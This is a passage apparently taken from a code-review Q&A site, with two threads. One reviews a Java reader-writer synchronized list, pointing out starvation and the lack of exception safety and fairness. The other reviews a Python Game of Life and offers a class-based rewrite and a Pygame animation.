Correctness of code by considering the above set objectives.
Efficiency of code.
Any other improvements.

import java.util.ArrayList;

public class SynchronizedArrayList {
    private ArrayList<Object> list = new ArrayList<Object>();
    private int readerCount = 0;

    public void add(int index, Object obj)
    {
        synchronized(this) {
            while (readerCount != 0)
                waitForSignal();

            addInternal(index, obj);
        }
    }

    public Object get(int index) {
        synchronized(this) {
            readerCount++;
        }

        Object toReturn = getInternal(index);

        synchronized(this) {
            readerCount--;
            if (readerCount == 0) {
                this.notify();
            }
        }

        return toReturn;

    }

    private Object getInternal(int index) {
        return list.get(index);
    }

    private void addInternal(int index, Object obj) {
        list.add(index, obj);
    }

    private void waitForSignal() {
        //not yet implemented
    }
}

My answer will try to cover some ground @JvR seems to have missed. (as he said concurrency is hard, 4 eyes see more than 2)

Question you didn't really ask, but actually probably the most important one :

Is this class thread safe?

No. If getInternal() throws an exception (say IndexOutOfBoundsException for instance) the readerCount is never decremented again. Result : Any writer will wait forever to be allowed to write.

Assume we fix it?

Thread safe? Yes, but now not effecient. Under high reader contention a writer may never get the chance to write, since a write lock request does not prevent new readers to acquire a lock. This can keep readerCount above zero indefinitely.

Another efficiency problem : you synchronize on this. If any 3rd party class locks on the list, it will no longer function correctly. Readers and writers will be blocked until that lock is released.

I concur with @JvR's answers to your three questions.

There can be many readers.

Yes.
There can only be just one writer.

Yes.
Fairness among writers. In other words, writers should be served in FIFO manner.

No. From Java Concurrency in Practice :

  intrinsic locking offers no deterministic fairness guarantees, but the
  statistical fairness guarantees of most locking implementations are
  good enough for almost all situations. The language specification does
  not require the JVM to implement intrinsic locks fairly, and no
  production JVMs do.

@JvR covers the solution you'd need to implement for the fairness problem quite aptly already.

Other improvements?

@JvR mentioned generics, but I'd like to broaden that remark to : You're not implementing the List interface. Ok you're not actually making a useful class, but learing about locks, so probably not that important.
addInternal() and getInternal() : too thin to be a private method : inline them.
initialization of the internal list : use the diamond operator. (if you're on 7+)

Here is the code I used to play with your list :

private static final int TASKS = 20; // if you don't see the high contention problem : increase this value.

static SynchronizedArrayList list1 = new SynchronizedArrayList();

public static void main(String[] args) {
    list1 = new SynchronizedArrayList();
    CountDownLatch start = new CountDownLatch(1);
    CountDownLatch ready = new CountDownLatch(TASKS);
    final ReadWriteLock lock = new ReentrantReadWriteLock();

    ExecutorService executorService = Executors.newFixedThreadPool(TASKS);

    executorService.submit(new Runnable() {
        @Override
        public void run() {
            ready.countDown();
            try {
                start.await();
                for (int i = 0; i < 50; i++) {
                    Thread.sleep(10);
                    list1.add(i, i);
                    System.out.println("             Written " + i);
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
        }
    });

    for (int i = 0; i < TASKS - 1; i++) {
        executorService.submit(new Runnable() {
            @Override
            public void run() {
                ready.countDown();
                try {
                    start.await();
                    boolean keepOnTrucking = true;
                    while (keepOnTrucking) {
                        keepOnTrucking = false;
                        try {
                            list1.get(49);
                        } catch (Exception e) {
                            keepOnTrucking = true;
                        }
                    }
                } catch (InterruptedException e) {
                    Thread.currentThread().interrupt();
                }
            }
        });
    }

    try {
        ready.await();
        start.countDown();

        executorService.shutdown();
        executorService.awaitTermination(5, TimeUnit.MINUTES);

    } catch (InterruptedException e) {
        // just end
    }
}


Python - Game Of Life Here is my implementation of John Conway's Game of Life in Python:

from copy import deepcopy

def countSurrounding(board, row, cell):
    SURROUNDING = ((row - 1, cell - 1),
                   (row - 1, cell    ),
                   (row - 1, cell + 1),
                   (row    , cell - 1),
                   (row    , cell + 1),
                   (row + 1, cell - 1),
                   (row + 1, cell    ),
                   (row + 1, cell + 1))
    count = 0
    for row, cell in SURROUNDING:
        if isInRange(board, row, cell) and board[row][cell] == True:
            count += 1
    return count

def isInRange(board, row, cell):
    return 0 <= row < len(board) and 0 <= cell < len(board[0])

def nextGeneration(board):
    nextBoard = deepcopy(board)
    for row in range(len(board)):
        for cell in range(len(board[0])):
            if board[row][cell] == True and countSurrounding(board, row, cell) not in (2, 3):
                nextBoard[row][cell] = False
            elif board[row][cell] == False and countSurrounding(board, row, cell) == 3:
                nextBoard[row][cell] = True
    return nextBoard

def printBoard(board):
    for row in board:
        for cell in row:
            if cell == True:
                print("#", end = "")
            else:
                print(".", end = "")
        print()
    print()

def main():
    board = [[False, False, False, False, False, False, False, False, False],
             [False, False, False, True , False, False, False, False, False],
             [False, True , False, True , False, False, False, False, False],
             [False, False, True , True , False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False],
             [False, False, False, False, False, False, False, False, False]]
    for i in range(10):
        printBoard(board)
        board = nextGeneration(board)

main()

Can anyone suggest any improvements to optimize my code?

Thanks

1. Comments on your code

You have no guard on the call to main(). This makes it harder to debug the program using the interactive interpreter: as soon as the module is imported, it call main() and starts running. Better to put a guard in place:

if __name__ == '__main__':
    main()

This program consists of persistent state (the board) together with a set of operations on that state. It is therefore crying out to be implemented in the form of a class. See section 3 for how you might do this.
It's horribly tedious to watch the progress of the cellular automaton coming out on the terminal. This is the kind of program that really requires the use of a graphics toolkit like PyGame to draw and animate it. See section 4 for how you might do this.
It's almost never necessary to compare values explicitly against True or False. Instead of:

if cell == True:

you can write:

if cell:

and instead of:

if board[row][cell] == False:

you can write:

if not board[row][cell]:

Giant blocks of values like this are hard to input and hard to check.

board = [[False, False, False, False, False, False, False, False, False],
         [False, False, False, True , False, False, False, False, False],
         [False, True , False, True , False, False, False, False, False],
         [False, False, True , True , False, False, False, False, False],
         [False, False, False, False, False, False, False, False, False],
         [False, False, False, False, False, False, False, False, False],
         [False, False, False, False, False, False, False, False, False],
         [False, False, False, False, False, False, False, False, False],
         [False, False, False, False, False, False, False, False, False]]

It would be better to draw a "picture" and write a bit of code to decode it into the values you want:

glider = '''..o
            o.o
            .oo'''

See the paste method in section 3 below for how to decode this kind of picture.

2. Suggestions

When you have a program like this that operates on a two-dimensional array of cells, it often simplifies matters if you represent the two-dimensional array as a one-dimensional list. Then a cell can be represented by a single number instead of a pair; lookups are of the form array[cell] instead of array[x][y], and adjacent cells may be found by simple arithmetic operations.
It's a feature of the game of Life that, most of the time, very few cells are changing. You can take advantage of this fact to speed up the update operation. Instead of examining all cells to see if they need updating, maintain a set of cells that need to be looked at. Whenever you change a cell from live to dead or vice versa, add it, and all its neighbours, to the set. In the update operation, look only at those cells that were added to the set in the course of the previous update operation.

This means that you don't have to copy out the whole world each update: you only need a copy of the information (liveness and neighbour count) relating to the cells in the set.
Similarly, rather than count the number of live neighbours each time you update a cell, you could maintain an array containing these neighbour counts and update the array whenever a cell changes.

3. Revised code

from itertools import product

class Life(object):
    def __init__(self, width, height):
        self.width = width
        self.height = height
        cells = (width + 2) * (height + 2)
        self.live = [False] * cells
        self.in_bounds = [True] * cells
        self.neighbours = [0] * cells
        for i in range(width + 2):
            self.in_bounds[i] = self.in_bounds[-i] = False
        for j in range(height):
            k = (j + 1) * (width + 2)
            self.in_bounds[k - 1] = self.in_bounds[k] = False
        self.neighbourhood = [y * (width + 2) + x
                              for x, y in product((-1, 0, 1), repeat=2)
                              if x or y]
        self.needs_update = set()

    def cell(self, x, y):
        """Return the cell number corresponding to the coordinates (x, y)."""
        return (self.width + 2) * (y + 1) + x + 1

    def set(self, p, value):
        """Set cell number 'p' to 'value' (True=live, False=dead)."""
        if value != self.live[p] and self.in_bounds[p]:
            self.live[p] = value
            self.needs_update.add(p)
            adjust = 1 if value else -1
            for n in self.neighbourhood:
                n += p
                if self.in_bounds[n]:
                    self.neighbours[n] += adjust
                    self.needs_update.add(n)

    def update(self, steps=1):
        """Update the world by 'steps' generations (default: 1)."""
        for _ in range(steps):
            u = [(p, self.live[p], self.neighbours[p]) for p in self.needs_update]
            self.needs_update = set()
            for p, live, neighbours in u:
                if live and not 2 <= neighbours <= 3:
                    self.set(p, False)
                elif not live and neighbours == 3:
                    self.set(p, True)

    def paste(self, s, x, y):
        """Decode 's' as a life pattern (o = live, any other character = dead)
        and paste it with top left corner at (x, y).

        """
        for j, line in enumerate(s.strip().splitlines()):
            for i, char in enumerate(line.strip()):
                self.set(self.cell(x + i, y + j), char == 'o')

Note:

It would be possible to combine the live, in_bounds and neighbours arrays into one, perhaps using bit twiddling to combine the values (the neighbour count fits into 4 bits and the other two arrays are one bit each). I've left it as three separate arrays for simplicity here.

4. Animation

Here's a quick implementation in Pygame:

import pygame
from pygame.constants import KEYUP, MOUSEBUTTONDOWN, MOUSEMOTION, QUIT, \
                             K_p, K_q, K_s, K_ESCAPE, K_SPACE

class PygameLife(Life):
    def __init__(self, width, height,
                 background=pygame.Color(240, 240, 255),
                 foreground=pygame.Color('black'),
                 cell_size=4):
        super(PygameLife, self).__init__(width, height)
        self.background = background
        self.foreground = foreground
        self.cell_size = cell_size

    def draw(self):
        screen = pygame.display.get_surface()
        screen.fill(self.background)
        c = self.cell_size
        for x in range(self.width):
            for y in range(self.height):
                if self.live[self.cell(x, y)]:
                    screen.fill(self.foreground, pygame.Rect(x * c, y * c, c, c))
        pygame.display.flip()

    def screen_cell(self, pos):
        """Return the cell number corresponding to screen position 'pos', or
        None if the position is out of bounds.

        """
        x, y = pos
        x //= self.cell_size
        y //= self.cell_size
        if 0 <= x < self.width and 0 <= y < self.height:
            return self.cell(x, y)
        return None

    def run(self):
        pygame.init()
        pygame.display.set_mode((self.width * self.cell_size,
                                 self.height * self.cell_size))
        paused = False
        drawing = False
        running = True
        while running:
            for event in pygame.event.get():
                t = event.type
                if t == QUIT or t == KEYUP and event.key in (K_q, K_ESCAPE):
                    running = False
                elif t == KEYUP and event.key in (K_p, K_SPACE):
                    paused = not paused
                elif t == KEYUP and event.key in (K_s,):
                    self.update()
                elif t == MOUSEBUTTONDOWN and event.button == 1:
                    paused = True
                    p = self.screen_cell(event.pos)
                    drawing = not self.live[p]
                    self.set(p, drawing)
                elif t == MOUSEMOTION and event.buttons[0]:
                    paused = True
                    self.set(self.screen_cell(event.pos), drawing)
            if paused:
                pygame.display.set_caption('Paused (press SPACE to run)')
            else:
                pygame.display.set_caption('Life')
                self.update()
            self.draw()
        pygame.quit()

And here's Bill Gosper's glider gun in action:

>>> glider_gun = '''
........................o...........
......................o.o...........
............oo......oo............oo
...........o...o....oo............oo
oo........o.....o...oo..............
oo........o...o.oo....o.o...........
..........o.....o.......o...........
...........o...o....................
............oo......................'''
>>> p = PygameLife(100, 60)
>>> p.paste(glider_gun, 8, 1)
>>> p.run()

5. Advanced topic

Typical Life patterns contain many repeated objects. For example, the output of a glider gun contains many gliders, all of which behave identically. It would be nice to be able to exploit this repetition so that the evolution of a glider (or any other repeated pattern) could be computed just once, with the result appearing at all the necessary places in the world.

Making this idea precise and turning it into an algorithm leads to Bill Gosper's Hashlife.